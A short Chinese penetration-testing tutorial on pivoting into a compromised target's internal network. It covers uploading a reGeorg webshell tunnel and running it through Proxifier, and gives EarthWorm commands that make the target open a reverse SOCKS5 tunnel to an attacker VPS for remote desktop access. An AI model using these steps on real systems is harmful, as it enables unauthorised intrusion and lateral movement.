基于web服务的socks5隧道的优点是,在内网服务器不通外网的情况下也能正常使用。 常用的工具有:reGeorg,reDuh,Tunna和Proxifier。 本次只介绍reGeorg的具体用法。 选择对应脚本的tunnel上传到服务器。 访问上传文件,显示如下表示成功。 在reGeorg文件夹下执行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。
打开Proxifier,更改为脚本指定的端口。 本地电脑成功通过socks5带进了目标主机的内网。(若失败,可能是某些防护检测到了异常流量,可采用reDuh) 本地电脑直接远程连接目标主机的内网ip。 冰蝎自带的socks代理原理相同,也是基于web服务的。 使用ew搭建socks5隧道使用条件:目标主机通外网,拥有自己的公网ip 选择对应主机操作系统的执行文件。 目标主机为windows系统,选择上传ew_for_Win.exe文件。 公网vps使用ew_for_linux64文件。 首先在公网vps上执行:
./ew_for_linux64 -s rcsocks -l 10000 -e 11000
-l为Proxifier连接的端口,-e为目标主机和vps的通信端口。 然后在目标主机中执行:
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000
socks5隧道建立成功,成功把自己的主机带进目标内网。 使用Proxifier,配置ip和连接端口。
连接远程桌面成功。 |